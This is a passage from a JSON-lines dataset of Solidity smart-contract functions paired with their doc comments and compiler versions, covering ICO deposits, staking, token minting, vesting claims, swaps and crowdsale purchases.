pool.stakedAmountWithMultipliers.add(virtualAmount);\r\n\r\n nftStartId = nftStartId.add(1);\r\n nftCollection.mint(msg.sender, nftStartId - 1);\r\n\r\n emit Staked(msg.sender, rewardToken, nftStartId, amount, lockDays);\r\n }", "version": "0.6.12"} {"comment": "/// Accepts ether and creates new LifeCoin tokens.", "function_code": "function depositETH() external payable {\r\n\t require(!isFinalized, \"Already finalized\");\r\n\t require(block.timestamp >= fundingStartBlock, \"Current block-number should not be less than fundingStartBlock\");\r\n\t require(block.timestamp <= fundingEndBlock, \"Current block-number should not be greater than fundingEndBlock\");\r\n\t require(msg.value > 0, \"Ether not sent\");\r\n\r\n uint256 weekIndex = (block.timestamp - fundingStartBlock) / blocksPerWeek; // Calculate the array index to credit account\r\n uint256 currentBalance = icoEthBalances[msg.sender][weekIndex];\r\n icoEthBalances[msg.sender][weekIndex] = safeAdd(currentBalance, msg.value); //Credit the senders account for the bonus period.\r\n\r\n // Store the totals for each week\r\n uint256 currentETHWeek = icoEthPerWeek[weekIndex];\r\n icoEthPerWeek[weekIndex] = safeAdd(currentETHWeek, msg.value); //Credit the senders account for the bonus period.\r\n emit DepositETH(msg.sender, msg.value, weekIndex); // Log the deposit.\r\n }", "version": "0.8.4"} {"comment": "/// Ends the funding period and sends the ETH to the ethFundDeposit.", "function_code": "function finalize() external {\r\n assert(address(this).balance > 0);\r\n\t require(!isFinalized, \"Already finalized\");\r\n require(msg.sender == ethFundDeposit, \"Sender should be ethFundDeposit\"); // locks finalize to the ultimate ETH owner\r\n\t require(block.timestamp > fundingEndBlock, \"Current block-number is not greater than fundingEndBlock\");\r\n //Calculate the base exchange rate\r\n\r\n uint256 totalEffectiveWei = 0;\r\n for(uint32 i =0; i < 7; i++){\r\n totalEffectiveWei = safeAdd(totalEffectiveWei, icoEthPerWeek[i]);\r\n }\r\n\r\n //Convert to wei\r\n baseLifeCoinExchangeRate = ((totalLifeCoins - yawLifeFund)*1e29) / totalEffectiveWei; //((totalLifeCoins - yawLifeFund)*1e29) / totalEffectiveWei\r\n // switch to operational\r\n isFinalized = true;\r\n balances[yawLifeFundDeposit] += yawLifeFund; // Credit YawLife Pty. Ltd. After the ICO Finishes.\r\n emit CreateLifeCoin(yawLifeFundDeposit, yawLifeFund); // Log the creation of the first new LifeCoin Tokens.\r\n\t payable(ethFundDeposit).transfer(address(this).balance); // send the eth to YawLife Pty. Ltd.\r\n }", "version": "0.8.4"} {"comment": "/// After the ICO - Allow participants to withdraw their tokens at the price dictated by amount of ETH raised.", "function_code": "function withdraw() external {\r\n assert(isFinalized == true); // Wait until YawLife has checked and confirmed the details of the ICO before withdrawing tokens.\r\n //VERIFY THIS\r\n // Check balance. Only permit if balance is non Zero\r\n uint256 balance =0;\r\n for(uint256 k=0; k < 7; k++){\r\n balance = safeAdd(balance, icoEthBalances[msg.sender][k]);\r\n }\r\n assert(balance > 0); // TODO: CHECK THIS\r\n\r\n uint256 lifeCoinsOwed=0;\r\n uint256 effectiveWeiInvestment =0;\r\n for(uint32 i =0; i < 7; i++ ) {\r\n effectiveWeiInvestment = icoEthBalances[msg.sender][i];\r\n // Convert exchange rate to Wei after multiplying.\r\n lifeCoinsOwed = safeAdd(lifeCoinsOwed, baseLifeCoinExchangeRate*effectiveWeiInvestment/1e29); //baseLifeCoinExchangeRate*effectiveWeiInvestment/1e29\r\n icoEthBalances[msg.sender][i] = 0;\r\n }\r\n balances[msg.sender] = lifeCoinsOwed; // Credit the participants account with LifeCoins.\r\n emit CreateLifeCoin(msg.sender, lifeCoinsOwed); // Log the creation of new coins.\r\n }", "version": "0.8.4"} {"comment": "// enforce minimum spend to buy tokens", "function_code": "function ICO( address _erc20,\r\n address _treasury,\r\n uint _startSec,\r\n uint _durationSec,\r\n uint _tokpereth ) public\r\n {\r\n require( isContract(_erc20) );\r\n require( _tokpereth > 0 );\r\n\r\n if (_treasury != address(0)) require( isContract(_treasury) );\r\n\r\n tokenSC = ERC20( _erc20 );\r\n treasury = _treasury;\r\n start = _startSec;\r\n duration = _durationSec;\r\n tokpereth = _tokpereth;\r\n minfinney = 25;\r\n }", "version": "0.4.21"} {"comment": "///The distribution function, accumulated tokens on a variable dividend among members", "function_code": "function dividendDistribution () onlyOwner public {\r\n Transfer(0, this, dividend);\r\n uint256 divsum = dividend / members.length; \r\n dividend = 0;\r\n for (uint i = 0; i < members.length; i++) {\r\n address AdToDiv = members[i].member ;\r\n balanceOf[AdToDiv] += divsum;\r\n Transfer(this, AdToDiv, divsum);\r\n }\r\n \r\n}", "version": "0.4.17"} {"comment": "/*\r\n @dev Uniswap fails with zero address so no check is necessary here\r\n */", "function_code": "function _swap(\r\n address _dex,\r\n address _tokenIn,\r\n address _tokenOut,\r\n uint _amount\r\n ) private {\r\n // create dynamic array with 3 elements\r\n address[] memory path = new address[](3);\r\n path[0] = _tokenIn;\r\n path[1] = WETH;\r\n path[2] = _tokenOut;\r\n\r\n UniswapV2Router(_dex).swapExactTokensForTokens(\r\n _amount,\r\n 1,\r\n path,\r\n address(this),\r\n block.timestamp\r\n );\r\n }", "version": "0.7.6"} {"comment": "/*\r\n @notice Transfer token accidentally sent here to admin\r\n @param _token Address of token to transfer\r\n */", "function_code": "function sweep(address _token) external override onlyAuthorized {\r\n require(_token != address(token), \"protected token\");\r\n for (uint i = 0; i < NUM_REWARDS; i++) {\r\n require(_token != REWARDS[i], \"protected token\");\r\n }\r\n IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this)));\r\n }", "version": "0.7.6"} {"comment": "/// Pile robbery function of pantry owner contract. (tokens)", "function_code": "function robPantryT (address target, uint256 amount) onlyOwner public {\r\n require(amount <= balanceOf[this]);\r\n balanceOf[this] -= amount; // Subtract from the sender\r\n balanceOf[target] += amount; // Add the same to the recipient\r\n Transfer(this, target, amount);\r\n }", "version": "0.4.17"} {"comment": "// WETH -> VaultX -> XWETH -> Bridge -> PXWETH\n// _toAddress need to be little endian and start with 0x fef: https://peterlinx.github.io/DataTransformationTools/", "function_code": "function lock(bytes memory _toAddress, uint256 _amount) public {\r\n // need approve infinte amount from user then safe transfer from\r\n IERC20(want).safeTransferFrom(msg.sender, address(this), _amount);\r\n IERC20(want).safeApprove(xvault, _amount);\r\n Vault(xvault).deposit(_amount);\r\n // https://github.com/polynetwork/eth-contracts/blob/master/contracts/core/lock_proxy/LockProxy.sol#L64\r\n IERC20(xvault).safeApprove(polyLockProxy, _amount);\r\n // 4 -> neo mainnet 5 -> neo testnet\r\n LockProxy(polyLockProxy).lock(xvault, toChainId, _toAddress, _amount);\r\n }", "version": "0.6.12"} {"comment": "//--------------------------------------------------------------------------------------------------------------------------\n// Price calculator:\n//--------------------------------------------------------------------------------------------------------------------------", "function_code": "function calcPrice(address _fromAsset, uint256 _fromAmount) public view returns (uint256 toActualAmount_, uint256 fromActualAmount_)\r\n {\r\n require(_fromAmount > 0, \"ERR_ZERO_PAYMENT\");\r\n \r\n uint256 fromAssetPrice = assets[_fromAsset];\r\n require(fromAssetPrice > 0, \"ERR_ASSET_NOT_SUPPORTED\");\r\n \r\n if(isSwapPaused) return (0, 0);\r\n \r\n uint256 toAvailableForSell = availableForSellAmount();\r\n \r\n fromActualAmount_ = _fromAmount;\r\n\r\n toActualAmount_ = _fromAmount.mul(ONE).div(fromAssetPrice);\r\n \r\n if(toActualAmount_ > toAvailableForSell)\r\n {\r\n toActualAmount_ = toAvailableForSell;\r\n fromActualAmount_ = toAvailableForSell.mul(fromAssetPrice).div(ONE);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev will open the trading for everyone", "function_code": "function closeSale() external onlyOwner beforeSaleClosed {\r\n /// The unsold and unallocated bounty tokens are allocated to the platform tokens\r\n\r\n uint256 unsoldTokens = balances[saleTokensAddress];\r\n balances[platformTokensAddress] = balances[platformTokensAddress].add(unsoldTokens);\r\n balances[saleTokensAddress] = 0;\r\n emit Transfer(saleTokensAddress, platformTokensAddress, unsoldTokens);\r\n\r\n uint256 unallocatedBountyTokens = balances[referralBountyTokensAddress];\r\n balances[platformTokensAddress] = balances[platformTokensAddress].add(unallocatedBountyTokens);\r\n balances[referralBountyTokensAddress] = 0;\r\n emit Transfer(referralBountyTokensAddress, platformTokensAddress, unallocatedBountyTokens);\r\n\r\n saleClosed = true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Creates `amount` new tokens for `to`, of token type `id`.\r\n *\r\n * See {ERC1155-_mint}.\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have the `MINTER_ROLE`.\r\n */", "function_code": "function mint(address to, uint256 id, uint256 amount, bytes memory data, string calldata _update, string calldata cid) public virtual {\r\n\r\n uint256 total = _totalSupply();\r\n require(total + 1 <= MAX_ELEMENTS, \"Max limit\");\r\n require(total <= MAX_ELEMENTS, \"Sale end\");\r\n require(hasRole(MINTER_ROLE, _msgSender()), \"Ownerfy: must have minter role to mint\");\r\n\r\n if (bytes(_update).length > 0) {\r\n emit Update(_update, id);\r\n }\r\n\r\n _tokenIdTracker.increment();\r\n\r\n cids[id] = cid;\r\n\r\n _mint(to, id, amount, data);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.\r\n */", "function_code": "function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data, string[] calldata updates, string[] calldata _cids) public virtual {\r\n\r\n uint256 total = _totalSupply();\r\n require(total + ids.length <= MAX_ELEMENTS, \"Max limit\");\r\n require(total <= MAX_ELEMENTS, \"Sale end\");\r\n require(hasRole(MINTER_ROLE, _msgSender()), \"Ownerfy: must have minter role to mint\");\r\n\r\n _mintBatch(to, ids, amounts, data);\r\n\r\n for (uint i = 0; i < ids.length; i++) {\r\n _tokenIdTracker.increment();\r\n\r\n if (bytes(_cids[i]).length > 0) {\r\n cids[ids[i]] = _cids[i];\r\n }\r\n if (bytes(updates[i]).length > 0) {\r\n emit Update(updates[i], ids[i]);\r\n }\r\n }\r\n }", "version": "0.8.0"} {"comment": "// ------------------------------------------------------------------------\n// The minting of tokens during the mining.\n// ------------------------------------------------------------------------", "function_code": "function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success) {\r\n \r\n \r\n //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks\r\n bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));\r\n\r\n //the challenge digest must match the expected\r\n if (digest != challenge_digest) revert();\r\n\r\n //the digest must be smaller than the target\r\n if (uint256(digest) > miningTarget) revert();\r\n\r\n //only allow one reward for each challenge\r\n bytes32 solution = solutionForChallenge[challengeNumber];\r\n solutionForChallenge[challengeNumber] = digest;\r\n if (solution != 0x0) revert(); //prevent the same answer from awarding twice\r\n\r\n uint reward_amount = getMiningReward();\r\n balances[msg.sender] = balances[msg.sender].add(reward_amount);\r\n tokensMinted = tokensMinted.add(reward_amount);\r\n _totalSupply = _totalSupply.add(tokensMinted);\r\n\r\n\r\n //set readonly diagnostics data\r\n lastRewardTo = msg.sender;\r\n lastRewardAmount = reward_amount;\r\n lastRewardEthBlockNumber = block.number;\r\n\r\n _startNewMiningEpoch();\r\n emit Mint(msg.sender, reward_amount, epochCount, challengeNumber);\r\n \r\n return true;\r\n }", "version": "0.5.1"} {"comment": "// ------------------------------------------------------------------------\n// Starts a new mining epoch, a new 'block' to be mined.\n// ------------------------------------------------------------------------", "function_code": "function _startNewMiningEpoch() internal {\r\n\r\n if(tokensMinted>=(2**(128))){//This will not happen in the forseable future.\r\n tokensMinted = 0; //resets, thus, making a token forever-infinite.\r\n _mintingEpoch = _mintingEpoch.add(1);\r\n } \r\n \r\n rewardEra = rewardEra + 1; //increment the rewardEra\r\n\r\n\r\n //set the next minted supply at which the era will change\r\n // total supply is 10000000000000000 because of 8 decimal places\r\n maxSupplyForEra = (2 * 10 ** uint(decimals)).mul(rewardEra);\r\n\r\n epochCount = epochCount.add(1);\r\n\r\n //every so often, readjust difficulty. Dont readjust when deploying\r\n if (epochCount % _BLOCKS_PER_READJUSTMENT == 0) {\r\n _reAdjustDifficulty();\r\n }\r\n\r\n //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks\r\n //do this last since this is a protection mechanism in the mint() function\r\n challengeNumber = blockhash(block.number - 1);\r\n\r\n }", "version": "0.5.1"} {"comment": "/**\n * @dev Creates a new token for `to`. Its token ID will be automatically\n * assigned (and available on the emitted {IERC721-Transfer} event), and the token\n * URI autogenerated based on the base URI passed at construction.\n *\n */", "function_code": "function mint() public {\n require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"Must be admin to be able to mint\");\n require(_mintingEnabled, \"Minting is not enabled yet\");\n require(_tokenIdTracker.current() < _max, \"all NFTs have been minted\");\n address owner = address(this);\n _mint(owner, _tokenIdTracker.current());\n tokenToOwner[_tokenIdTracker.current()] = owner;\n ownerTokenCount[owner] = ownerTokenCount[owner].add(1);\n _tokenIdTracker.increment();\n emit Minted(_tokenIdTracker.current(),owner,1);\n \n }", "version": "0.8.4"} {"comment": "// TODO: update tests to expect throw", "function_code": "function transfer(address _to, uint256 _value) onlyPayloadSize(2) returns (bool success) {\r\n require(_to != address(0));\r\n require(balances[msg.sender] >= _value && _value > 0);\r\n balances[msg.sender] = safeSub(balances[msg.sender], _value);\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n Transfer(msg.sender, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol\r\n * @dev Returns the average of two numbers. The result is rounded towards\r\n * zero.\r\n */", "function_code": "function average(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // (a + b) / 2 can overflow, so we distribute\r\n return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);\r\n }", "version": "0.7.5"} {"comment": "// Migrates terms from old redemption contract", "function_code": "function migrate( address[] calldata _addresses ) external returns ( bool ) {\r\n require( msg.sender == owner, \"Sender is not owner\" );\r\n require( !hasMigrated, \"Already migrated\" );\r\n\r\n for( uint i = 0; i < _addresses.length; i++ ) {\r\n percentCanVest[ _addresses[i] ] = IOldClaimContract( previousClaimContract ).percentCanVest( _addresses[i] );\r\n amountClaimed[ _addresses[i] ] = IOldClaimContract( previousClaimContract ).amountClaimed( _addresses[i] );\r\n maxAllowedToClaim[ _addresses[i] ] = IOldClaimContract( previousClaimContract ).maxAllowedToClaim( _addresses[i] );\r\n }\r\n \r\n hasMigrated = true;\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Sets terms for a new wallet", "function_code": "function setTerms(address _vester, uint _amountCanClaim, uint _rate ) external returns ( bool ) {\r\n require( msg.sender == owner, \"Sender is not owner\" );\r\n require( _amountCanClaim >= maxAllowedToClaim[ _vester ], \"cannot lower amount claimable\" );\r\n require( _rate >= percentCanVest[ _vester ], \"cannot lower vesting rate\" );\r\n\r\n if( maxAllowedToClaim[ _vester ] == 0 ) {\r\n amountClaimed[ _vester ] = IOldClaimContract( previousClaimContract ).amountClaimed( _vester );\r\n } \r\n\r\n maxAllowedToClaim[ _vester ] = _amountCanClaim;\r\n percentCanVest[ _vester ] = _rate;\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Allows wallet to exercise pOLY to claim OHM", "function_code": "function exercisePOLY( uint _amountToExercise ) external returns ( bool ) {\r\n require( getPOLYAbleToClaim( msg.sender ).sub( _amountToExercise ) >= 0, 'Not enough OHM vested' );\r\n require( maxAllowedToClaim[ msg.sender ].sub( amountClaimed[ msg.sender ] ).sub( _amountToExercise ) >= 0, 'Claimed over max' );\r\n\r\n IERC20( DAI ).safeTransferFrom( msg.sender, address( this ), _amountToExercise );\r\n IERC20( DAI ).approve( treasury, _amountToExercise );\r\n\r\n if( !usingNewVault ) {\r\n IVaultOld( treasury ).depositReserves( _amountToExercise );\r\n } else {\r\n IVaultNew( newTreasury ).depositReserves( _amountToExercise, DAI );\r\n }\r\n\r\n IPOLY( pOLY ).burnFrom( msg.sender, _amountToExercise );\r\n\r\n amountClaimed[ msg.sender ] = amountClaimed[ msg.sender ].add( _amountToExercise );\r\n\r\n uint _amountOHMToSend = _amountToExercise.div( 1e9 );\r\n\r\n IERC20( OHM ).safeTransfer( msg.sender, _amountOHMToSend );\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Allows wallet owner to transfer rights to a new address", "function_code": "function changeWallets( address _oldWallet, address _newWallet ) external returns ( bool ) {\r\n require( msg.sender == _oldWallet, \"Only the wallet owner can change wallets\" );\r\n \r\n maxAllowedToClaim[ _newWallet ] = maxAllowedToClaim[ _oldWallet ];\r\n maxAllowedToClaim[ _oldWallet ] = 0;\r\n \r\n amountClaimed[ _newWallet ] = amountClaimed[ _oldWallet ];\r\n amountClaimed[ _oldWallet ] = 0;\r\n \r\n percentCanVest[ _newWallet ] = percentCanVest[ _oldWallet ];\r\n percentCanVest[ _oldWallet ] = 0;\r\n \r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// For single use after migration", "function_code": "function setNewVault( address _newVault ) external returns ( bool ) {\r\n require( msg.sender == owner, \"Sender is not owner\" );\r\n require( !usingNewVault, \"New vault already set\" );\r\n\r\n newTreasury = _newVault;\r\n usingNewVault = true;\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// swap currencies", "function_code": "function swap(\r\n string calldata buy,\r\n string calldata sell,\r\n uint256 amount,\r\n uint256 rate,\r\n uint32 expireTime,\r\n bytes calldata signature\r\n ) external payable whenNotPaused returns (bool) {\r\n if (\r\n keccak256(bytes(buy)) == keccak256(bytes(baseCurrency)) &&\r\n keccak256(bytes(sell)) == keccak256(bytes(\"ETH\"))\r\n ) {\r\n require(\r\n _beforeSwap(buy, sell, msg.value, rate, expireTime, signature)\r\n );\r\n return swapETHForGSU(rate);\r\n }\r\n\r\n require(msg.value == 0, \"[Dex] ethers are not accepted\");\r\n require(_beforeSwap(buy, sell, amount, rate, expireTime, signature));\r\n\r\n if (\r\n keccak256(bytes(buy)) == keccak256(bytes(\"ETH\")) &&\r\n keccak256(bytes(sell)) == keccak256(bytes(baseCurrency))\r\n ) {\r\n return swapGSUForETH(amount, rate);\r\n } else {\r\n return swapTokens(buy, sell, amount, rate);\r\n }\r\n }", "version": "0.6.0"} {"comment": "// Payable method, payouts for message sender", "function_code": "function () public payable{\r\n \trequire(now >= lastBlockTime && msg.value >= minWei); // last block time < block.timestamp, check min deposit\r\n \tlastBlockTime = now; // set last block time to block.timestamp\r\n \tuint256 com = msg.value/100*inCommission; // 3% commission\r\n \tuint256 amount = msg.value - com; // deposit amount is amount - commission\r\n \tif (deposits[msg.sender] > 0){\r\n \t\t// repeating payment\r\n \t\tuint256 daysGone = (now - paydates[msg.sender]) / secInDay;\t// days gone before this payment, and not included in next payout\r\n \t\tnotToPay[msg.sender] += amount/100*daysGone; // keep amount that does not have to be paid \r\n \t}else{\r\n \t\t// new payment \r\n \t\tpaydates[msg.sender] = now; // set paydate to block.timestamp\r\n \t}\r\n deposits[msg.sender] += amount; // update deposit amount\r\n emit DepositIn(msg.sender, msg.value, now); // emit deposit in event\r\n owner.transfer(com); // transfer commission to contract owner\r\n}", "version": "0.4.24"} {"comment": "// Payable method, payout will be paid to specific address", "function_code": "function depositForRecipent(address payoutAddress) public payable{\r\n \trequire(now >= lastBlockTime && msg.value >= minWei); // last block time < block.timestamp, check min deposit\r\n \tlastBlockTime = now; // set last block time to block.timestamp\r\n \tuint256 com = msg.value/100*inCommission; // 3% commission\r\n \tuint256 amount = msg.value - com; // deposit amount is amount - commission\r\n \tif (deposits[payoutAddress] > 0){\r\n \t\t// repeating payment\r\n \t\tuint256 daysGone = (now - paydates[payoutAddress]) / secInDay;\t// days gone before this payment, and not included in next payout\r\n \t\tnotToPay[payoutAddress] += amount/100*daysGone; // keep amount that does not have to be paid \r\n \t}else{\r\n \t\t// new payment\r\n \t\tpaydates[payoutAddress] = now; // set paydate to block.timestamp\r\n \t}\r\n deposits[payoutAddress] += amount; // update deposit amount\r\n emit DepositIn(payoutAddress, msg.value, now); // emit deposit in event\r\n owner.transfer(com); // transfer commission to contract owner\r\n}", "version": "0.4.24"} {"comment": "// function used by client direct calls, for direct contract interaction, gas paid by function caller in this case", "function_code": "function payOut() public {\r\n\t\trequire(deposits[msg.sender] > 0); // check is message sender deposited an funds\r\n\t\trequire(paydates[msg.sender] < now); // check is lastPayDate < block.timestamp \r\n\t\tuint256 payForDays = (now - paydates[msg.sender]) / secInDay; // days from last payment\r\n require(payForDays >= 30);\r\n\t\tpay(msg.sender,false,payForDays); // don't withdraw tx gass fee, because fee paid by function caller\r\n}", "version": "0.4.24"} {"comment": "// function used by contrcat owner for automatic payouts from representative site\n// gas price paid by contract owner and because of that gasPrice will be withdrawn from payout amount", "function_code": "function payOutFor(address _recipient) public {\r\n\t\trequire(msg.sender == owner && deposits[_recipient] > 0); // check is message sender is contract owner and recipients was deposited funds\r\n\t\trequire(paydates[_recipient] < now); // check is lastPayDate < block.timestamp\r\n\t\tuint256 payForDays = (now - paydates[_recipient]) / secInDay; // days from last payment\r\n require(payForDays >= 30); \r\n\t\tpay(_recipient, true,payForDays); // pay with withdraw tx gas fee because fee paid by contract owner\r\n}", "version": "0.4.24"} {"comment": "// Deposit LP tokens to pool for RLY allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user.amount.mul(pool.accRallyPerShare).div(1e12).sub(user.rewardDebt);\n if(pending > 0) {\n safeRallyTransfer(msg.sender, pending);\n }\n }\n if(_amount > 0) {\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\n user.amount = user.amount.add(_amount);\n }\n user.rewardDebt = user.amount.mul(pool.accRallyPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "//Check if team wallet is unlocked", "function_code": "function unlockTokens(address _address) external {\r\n if (_address == OUTINGRESERVE) {\r\n require(UNLOCK_OUTINGRESERVE <= now);\r\n require (outingreserveBalance > 0);\r\n balances[OUTINGRESERVE] = outingreserveBalance;\r\n outingreserveBalance = 0;\r\n Transfer (this, OUTINGRESERVE, balances[OUTINGRESERVE]);\r\n } else if (_address == TEAM) {\r\n require(UNLOCK_TEAM <= now);\r\n require (teamBalance > 0);\r\n balances[TEAM] = teamBalance;\r\n teamBalance = 0;\r\n Transfer (this, TEAM, balances[TEAM]);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\n * @dev returns the transaction fee taken if sender sends a payout with a creatorAddress.\n * If senderAddress has a custom fee set it will prioritize that over the creatorAddress.\n */", "function_code": "function _getEaselyBPS(address senderAddress, address creatorAddress) internal view returns (uint256) {\n uint256 bps = _addressToBPS[senderAddress];\n\n // If the sender BPS is never set, default to creatorAddress fee.\n if (bps == 0) {\n bps = _addressToBPS[creatorAddress];\n }\n\n // If the creatorAddress BPS is also not set, the fee is the default fee\n if (bps == 0) {\n bps = DEFAULT_FEE_BPS;\n }\n\n // Since BPS map is initialized to 0, we will treat any BPS greater than the max\n // to be a bps of 0;\n if (bps > MAX_EASELY_FEE_BPS) {\n bps = 0;\n }\n\n return bps;\n }", "version": "0.8.7"} {"comment": "/**\n * @dev See {IEaselyPayout-splitPayable}.\n */", "function_code": "function splitPayable(address primaryPayout, address[] memory royalties, uint256[] memory bps) external payable override {\n require(royalties.length == bps.length, \"invalid royalties\");\n // Divide first to prevent overflow. \n uint256 payinBasis = msg.value / BASIS_POINT_CONVERSION;\n uint256 primaryBPS = BASIS_POINT_CONVERSION - _getEaselyBPS(_msgSender(), primaryPayout);\n\n for (uint256 i = 0; i < royalties.length; i++) {\n if (royalties[i] == address(0)) {\n continue;\n }\n\n require(primaryBPS >= bps[i], \"Invalid BPS\");\n payable(royalties[i]).transfer(payinBasis * bps[i]);\n primaryBPS -= bps[i]; \n }\n\n payable(primaryPayout).transfer(payinBasis * primaryBPS);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev players use this to change back to one of your old names. \r\n * -functionhash- 0xb9291296\r\n * @param _nameString the name you want to use \r\n */", "function_code": "function useMyOldName(string _nameString)\r\n isHuman()\r\n public \r\n {\r\n // filter name, and get pID\r\n bytes32 _name = _nameString.nameFilter();\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n \r\n // make sure they own the name \r\n require(plyrNames_[_pID][_name] == true);\r\n \r\n // update their current name \r\n plyr_[_pID].name = _name;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Tx sender must have a sufficient USDP balance to pay the debt\r\n * @dev Withdraws collateral\r\n * @dev Repays specified amount of debt\r\n * @param asset The address of token using as main collateral\r\n * @param mainAmount The amount of main collateral token to withdraw\r\n * @param colAmount The amount of COL token to withdraw\r\n * @param usdpAmount The amount of USDP token to repay\r\n **/", "function_code": "function withdrawAndRepay(\r\n address asset,\r\n uint mainAmount,\r\n uint colAmount,\r\n uint usdpAmount\r\n )\r\n public\r\n spawned(asset, msg.sender)\r\n nonReentrant\r\n {\r\n // check usefulness of tx\r\n require(mainAmount != 0 || colAmount != 0, \"Unit Protocol: USELESS_TX\");\r\n\r\n uint debt = vault.debts(asset, msg.sender);\r\n require(debt != 0 && usdpAmount != debt, \"Unit Protocol: USE_REPAY_ALL_INSTEAD\");\r\n\r\n if (mainAmount != 0) {\r\n // withdraw main collateral to the user address\r\n vault.withdrawMain(asset, msg.sender, mainAmount);\r\n }\r\n\r\n if (colAmount != 0) {\r\n // withdraw COL tokens to the user's address\r\n vault.withdrawCol(asset, msg.sender, colAmount);\r\n }\r\n\r\n if (usdpAmount != 0) {\r\n uint fee = vault.calculateFee(asset, msg.sender, usdpAmount);\r\n vault.chargeFee(vault.usdp(), msg.sender, fee);\r\n vault.repay(asset, msg.sender, usdpAmount);\r\n }\r\n\r\n vault.update(asset, msg.sender);\r\n\r\n _ensureCollateralizationTroughProofs(asset, msg.sender);\r\n\r\n // fire an event\r\n emit Exit(asset, msg.sender, mainAmount, colAmount, usdpAmount);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice Tx sender must have a sufficient USDP and COL balances and allowances to pay the debt\r\n * @dev Repays specified amount of debt paying fee in COL\r\n * @param asset The address of token using as main collateral\r\n * @param usdpAmount The amount of USDP token to repay\r\n **/", "function_code": "function repayUsingCol(\r\n address asset,\r\n uint usdpAmount\r\n )\r\n public\r\n spawned(asset, msg.sender)\r\n nonReentrant\r\n {\r\n // check usefulness of tx\r\n require(usdpAmount != 0, \"Unit Protocol: USELESS_TX\");\r\n\r\n // COL token price in USD\r\n uint colUsdValue_q112 = keep3rOraclePoolToken.oracleMainAsset().assetToUsd(vault.col(), 1);\r\n\r\n uint fee = vault.calculateFee(asset, msg.sender, usdpAmount);\r\n uint feeInCol = fee.mul(Q112).div(colUsdValue_q112);\r\n vault.chargeFee(vault.col(), msg.sender, feeInCol);\r\n vault.repay(asset, msg.sender, usdpAmount);\r\n\r\n // fire an event\r\n emit Exit(asset, msg.sender, 0, 0, usdpAmount);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * NectarCrowdsale constructor\r\n * @param _startTime start timestamp when purchases are allowed, inclusive\r\n * @param _endTime end timestamp when purchases are allowed, inclusive\r\n * @param _initialWeiUsdExchangeRate initial rate of wei/usd used in cap and minimum purchase calculation\r\n * @param _wallet wallet in which to collect the funds\r\n * @param _purchaseAuthorizer address to verify purchase authorizations from\r\n */", "function_code": "function NectarCrowdsale(\r\n uint256 _startTime,\r\n uint256 _endTime,\r\n uint256 _initialWeiUsdExchangeRate,\r\n address _wallet,\r\n address _purchaseAuthorizer\r\n )\r\n public\r\n {\r\n require(_startTime >= now);\r\n require(_endTime >= _startTime);\r\n require(_initialWeiUsdExchangeRate > 0);\r\n require(_wallet != address(0));\r\n require(_purchaseAuthorizer != address(0));\r\n\r\n token = createTokenContract();\r\n startTime = _startTime;\r\n endTime = _endTime;\r\n weiUsdExchangeRate = _initialWeiUsdExchangeRate;\r\n wallet = _wallet;\r\n purchaseAuthorizer = _purchaseAuthorizer;\r\n\r\n capUsd = maxCapUsd;\r\n\r\n // Updates cap and minimumPurchase based on capUsd and weiUsdExchangeRate\r\n updateCapAndExchangeRate();\r\n\r\n isCanceled = false;\r\n isFinalized = false;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Buy tokens once authorized by the frontend\r\n * @param nonce nonce parameter generated by the frontend\r\n * @param authorizedAmount maximum purchase amount authorized for this transaction\r\n * @param sig the signature generated by the frontned\r\n */", "function_code": "function buyTokens(uint256 authorizedAmount, uint256 nonce, bytes sig) public payable whenNotPaused {\r\n require(msg.sender != address(0));\r\n require(validPurchase(authorizedAmount, nonce, sig));\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // calculate token amount to be created\r\n uint256 rate = currentTranche();\r\n uint256 tokens = weiAmount.mul(rate);\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n purchases[nonce] = true;\r\n\r\n token.mint(msg.sender, tokens);\r\n TokenPurchase(msg.sender, weiAmount, tokens);\r\n\r\n forwardFunds();\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Get the rate of tokens/wei in the current tranche\r\n * @return the current tokens/wei rate\r\n */", "function_code": "function currentTranche() public view returns (uint256) {\r\n uint256 currentFundingUsd = weiRaised.div(weiUsdExchangeRate);\r\n if (currentFundingUsd <= tranche1ThresholdUsd) {\r\n return tranche1Rate;\r\n } else if (currentFundingUsd <= tranche2ThresholdUsd) {\r\n return 